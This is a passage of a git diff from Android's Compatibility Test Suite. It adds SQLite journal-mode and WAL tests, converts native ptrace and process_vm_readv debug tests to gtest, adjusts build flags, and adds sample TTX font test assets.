+ DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+ .equalsIgnoreCase(defaultJournalMode));
+ }
+
+ public void testCompatibilityWALIsDefaultWhenSupported() {
+ if (!SQLiteGlobal.isCompatibilityWalSupported()) {
+ Log.i(TAG, "Compatibility WAL not supported. "
+ + "Skipping testCompatibilityWALIsDefaultWhenSupported");
+ return;
+ }
+
+ assertTrue("Journal mode should be WAL if compatibility WAL is supported",
+ DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+ .equalsIgnoreCase("WAL"));
+ }
+
+ /**
+ * Test that app can specify journal mode/synchronous mode
+ */
+ public void testJournalModeSynchronousModeOverride() {
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setJournalMode("DELETE").setSynchronousMode("OFF").build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+
+ String journalMode = DatabaseUtils
+ .stringForQuery(mDatabase, "PRAGMA journal_mode", null);
+
+ assertEquals("DELETE", journalMode.toUpperCase());
+ String syncMode = DatabaseUtils
+ .stringForQuery(mDatabase, "PRAGMA synchronous", null);
+
+ assertEquals("0", syncMode);
+ }
+
+ /**
+ * Test that enableWriteAheadLogging is not affected by app's journal mode/synchronous mode
+ * settings
+ */
+ public void testEnableWalOverridesJournalModeSynchronousMode() {
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setJournalMode("DELETE").setSynchronousMode("OFF").build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ mDatabase.enableWriteAheadLogging();
+
+ String journalMode = DatabaseUtils
+ .stringForQuery(mDatabase, "PRAGMA journal_mode", null);
+
+ assertEquals("WAL", journalMode.toUpperCase());
+ String syncMode = DatabaseUtils
+ .stringForQuery(mDatabase, "PRAGMA synchronous", null);
+
+ assertEquals("2" /* FULL */, syncMode);
+ }
+
}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index 853f24b..20c9a0d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -18,6 +18,7 @@
import android.app.ActivityManager;
import android.content.Context;
+import android.database.Cursor;
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteCursorDriver;
import android.database.sqlite.SQLiteDatabase;
@@ -31,6 +32,9 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import java.io.File;
+import java.util.Arrays;
+
import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
@@ -55,6 +59,7 @@
@Override
protected void tearDown() throws Exception {
mOpenHelper.close();
+ SQLiteDatabase.deleteDatabase(mContext.getDatabasePath(TEST_DATABASE_NAME));
super.tearDown();
}
@@ -204,17 +209,73 @@
output.contains("Connection #0:"));
}
+ public void testOpenParamsConstructor() {
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .build();
+
+ MockOpenHelper helper = new MockOpenHelper(mContext, null, 1, params);
+ SQLiteDatabase database = helper.getWritableDatabase();
+ assertNotNull(database);
+ helper.close();
+ }
+
+ /**
+ * Tests a scenario in WAL mode with multiple connections, when a connection should see schema
+ * changes made from another connection.
+ */
+ public void testWalSchemaChangeVisibilityOnUpgrade() {
+ File dbPath = mContext.getDatabasePath(TEST_DATABASE_NAME);
+ SQLiteDatabase.deleteDatabase(dbPath);
+ SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbPath, null);
+ db.execSQL("CREATE TABLE test_table (_id INTEGER PRIMARY KEY AUTOINCREMENT)");
+ db.setVersion(1);
+ db.close();
+ mOpenHelper = new MockOpenHelper(mContext, TEST_DATABASE_NAME, null, 2) {
+ {
+ setWriteAheadLoggingEnabled(true);
+ }
+
+ @Override
+ public void onCreate(SQLiteDatabase db) {
+ }
+
+ @Override
+ public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
+ if (oldVersion == 1) {
+ db.execSQL("ALTER TABLE test_table ADD column2 INT DEFAULT 1234");
+ db.execSQL("CREATE TABLE test_table2 (_id INTEGER PRIMARY KEY AUTOINCREMENT)");
+ }
+ }
+ };
+ // Check if can see the new column
+ try (Cursor cursor = mOpenHelper.getReadableDatabase()
+ .rawQuery("select * from test_table", null)) {
+ assertEquals("Newly added column should be visible. Returned columns: " + Arrays
+ .toString(cursor.getColumnNames()), 2, cursor.getColumnCount());
+ }
+ // Check if can see the new table
+ try (Cursor cursor = mOpenHelper.getReadableDatabase()
+ .rawQuery("select * from test_table2", null)) {
+ assertEquals(1, cursor.getColumnCount());
+ }
+ }
+
private MockOpenHelper getOpenHelper() {
return new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
}
- private class MockOpenHelper extends SQLiteOpenHelper {
+ private static class MockOpenHelper extends SQLiteOpenHelper {
private boolean mHasCalledOnOpen = false;
- public MockOpenHelper(Context context, String name, CursorFactory factory, int version) {
+ MockOpenHelper(Context context, String name, CursorFactory factory, int version) {
super(context, name, factory, version);
}
+ MockOpenHelper(Context context, String name, int version,
+ SQLiteDatabase.OpenParams openParams) {
+ super(context, name, version, openParams);
+ }
+
@Override
public void onCreate(SQLiteDatabase db) {
}
@@ -237,8 +298,8 @@
}
}
- private class MockCursor extends SQLiteCursor {
- public MockCursor(SQLiteDatabase db, SQLiteCursorDriver driver, String editTable,
+ private static class MockCursor extends SQLiteCursor {
+ MockCursor(SQLiteDatabase db, SQLiteCursorDriver driver, String editTable,
SQLiteQuery query) {
super(db, driver, editTable, query);
}
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index f1b9b27..c715d07 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -30,7 +30,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
LOCAL_JNI_SHARED_LIBRARIES := libdebugtest
diff --git a/tests/tests/debug/AndroidManifest.xml b/tests/tests/debug/AndroidManifest.xml
index 4b3254a..091e778 100644
--- a/tests/tests/debug/AndroidManifest.xml
+++ b/tests/tests/debug/AndroidManifest.xml
@@ -26,8 +26,6 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.debug.cts"
android:label="CTS tests of native debugging API">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
</manifest>
diff --git a/tests/tests/debug/libdebugtest/Android.mk b/tests/tests/debug/libdebugtest/Android.mk
index 80eb256..d3db70f 100644
--- a/tests/tests/debug/libdebugtest/Android.mk
+++ b/tests/tests/debug/libdebugtest/Android.mk
@@ -31,6 +31,7 @@
android_debug_cts.cpp
LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
LOCAL_SDK_VERSION := 23
LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/debug/libdebugtest/android_debug_cts.cpp b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
index fb87a28..3aa4318 100644
--- a/tests/tests/debug/libdebugtest/android_debug_cts.cpp
+++ b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
@@ -15,6 +15,7 @@
*/
#include <jni.h>
+#include <gtest/gtest.h>
#include <android/log.h>
#include <errno.h>
@@ -29,6 +30,7 @@
#define LOG_TAG "Cts-DebugTest"
+// Used by child processes only
#define assert_or_exit(x) \
do { \
if(x) break; \
@@ -36,29 +38,21 @@
errno, strerror(errno)); \
_exit(1); \
} while (0)
-#define assert_or_return(x) \
- do { \
- if(x) break; \
- __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, "Assertion " #x " failed. errno(%d): %s", \
- errno, strerror(errno)); \
- return false; \
- } while (0)
-static bool parent(pid_t child) {
+static void parent(pid_t child) {
int status;
int wpid = waitpid(child, &status, 0);
- assert_or_return(wpid == child);
- assert_or_return(WIFEXITED(status));
- assert_or_return(WEXITSTATUS(status ) == 0);
- return true;
+ ASSERT_EQ(child, wpid);
+ ASSERT_TRUE(WIFEXITED(status));
+ ASSERT_EQ(0, WEXITSTATUS(status));
}
-static bool run_test(const std::function<void(pid_t)> &test) {
+static void run_test(const std::function<void(pid_t)> &test) {
pid_t pid = fork();
- assert_or_return(pid >= 0);
- if (pid != 0)
- return parent(pid);
- else {
+ ASSERT_NE(-1, pid) << "fork() failed with " << strerror(errno);
+ if (pid != 0) {
+ parent(pid);
+ } else {
// child
test(getppid());
_exit(0);
@@ -75,12 +69,10 @@
assert_or_exit(ptrace(PTRACE_DETACH, parent, nullptr, nullptr) == 0);
}
-// public static native boolean ptraceAttach();
-extern "C" jboolean Java_android_debug_cts_DebugTest_ptraceAttach(JNIEnv *, jclass) {
- return run_test(ptraceAttach);
+TEST(DebugTest, ptraceAttach) {
+ run_test(ptraceAttach);
}
-
static void processVmReadv(pid_t parent, const std::vector<long *> &addresses) {
long destination;
iovec local = { &destination, sizeof destination };
@@ -99,11 +91,11 @@
static long global_variable = 0x47474747;
// public static native boolean processVmReadv();
-extern "C" jboolean Java_android_debug_cts_DebugTest_processVmReadv(JNIEnv *, jclass) {
+TEST(DebugTest, processVmReadv) {
long stack_variable = 0x42424242;
// This runs the test with a selection of different kinds of addresses and
// makes sure the child process (simulating a debugger) can read them.
- return run_test([&](pid_t parent) {
+ run_test([&](pid_t parent) {
processVmReadv(parent, std::vector<long *>{
&global_variable, &stack_variable,
reinterpret_cast<long *>(&processVmReadv)});
@@ -111,9 +103,9 @@
}
// public static native boolean processVmReadvNullptr();
-extern "C" jboolean Java_android_debug_cts_DebugTest_processVmReadvNullptr(JNIEnv *, jclass) {
+TEST(DebugTest, processVmReadvNullptr) {
// Make sure reading unallocated memory behaves reasonably.
- return run_test([](pid_t parent) {
+ run_test([](pid_t parent) {
long destination;
iovec local = {&destination, sizeof destination};
iovec remote = {nullptr, sizeof(long)};
diff --git a/tests/tests/debug/src/android/debug/cts/DebugTest.java b/tests/tests/debug/src/android/debug/cts/DebugTest.java
index ca55d9c..993f02b 100644
--- a/tests/tests/debug/src/android/debug/cts/DebugTest.java
+++ b/tests/tests/debug/src/android/debug/cts/DebugTest.java
@@ -16,26 +16,10 @@
package android.debug.cts;
-import junit.framework.TestCase;
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
-public class DebugTest extends TestCase {
-
- static {
- System.loadLibrary("debugtest");
- }
-
- public static native boolean ptraceAttach();
- public void test_ptraceAttach() {
- assertEquals(true, ptraceAttach());
- }
-
- public static native boolean processVmReadv();
- public void test_processVmReadv() {
- assertEquals(true, processVmReadv());
- }
-
- public static native boolean processVmReadvNullptr();
- public void test_processVmReadvNullptr() {
- assertEquals(true, processVmReadvNullptr());
- }
-}
+@RunWith(GtestRunner.class)
+@TargetLibrary("debugtest")
+public class DebugTest {}
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
index 97518bd..fead807 100644
--- a/tests/tests/dynamic_linker/Android.mk
+++ b/tests/tests/dynamic_linker/Android.mk
@@ -18,6 +18,7 @@
LOCAL_MODULE := libdynamiclinker_native_lib_a
LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := native_lib_a.cpp
+LOCAL_CFLAGS := -Wall -Werror
LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
LOCAL_SDK_VERSION := 25
LOCAL_NDK_STL_VARIANT := c++_static
@@ -28,6 +29,7 @@
LOCAL_MODULE := libdynamiclinker_native_lib_b
LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := native_lib_b.cpp
+LOCAL_CFLAGS := -Wall -Werror
LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
LOCAL_SDK_VERSION := 25
LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/graphics/assets/a3em.ttx b/tests/tests/graphics/assets/a3em.ttx
new file mode 100644
index 0000000..d3b9e16
--- /dev/null
+++ b/tests/tests/graphics/assets/a3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="1em"/>
+ <GlyphID id="2" name="3em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="1em" width="1000" lsb="93"/>
+ <mtx name="3em" width="3000" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="3em" />
+ <map code="0x0062" name="1em" />
+ <map code="0x0063" name="1em" />
+ <map code="0x0064" name="1em" />
+ <map code="0x0065" name="1em" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/b3em.ttx b/tests/tests/graphics/assets/b3em.ttx
new file mode 100644
index 0000000..b5a77ef
--- /dev/null
+++ b/tests/tests/graphics/assets/b3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="1em"/>
+ <GlyphID id="2" name="3em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="1em" width="1000" lsb="93"/>
+ <mtx name="3em" width="3000" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="1em" />
+ <map code="0x0062" name="3em" />
+ <map code="0x0063" name="1em" />
+ <map code="0x0064" name="1em" />
+ <map code="0x0065" name="1em" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/c3em.ttx b/tests/tests/graphics/assets/c3em.ttx
new file mode 100644
index 0000000..f5ed8e5
--- /dev/null
+++ b/tests/tests/graphics/assets/c3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="1em"/>
+ <GlyphID id="2" name="3em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="1em" width="1000" lsb="93"/>
+ <mtx name="3em" width="3000" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
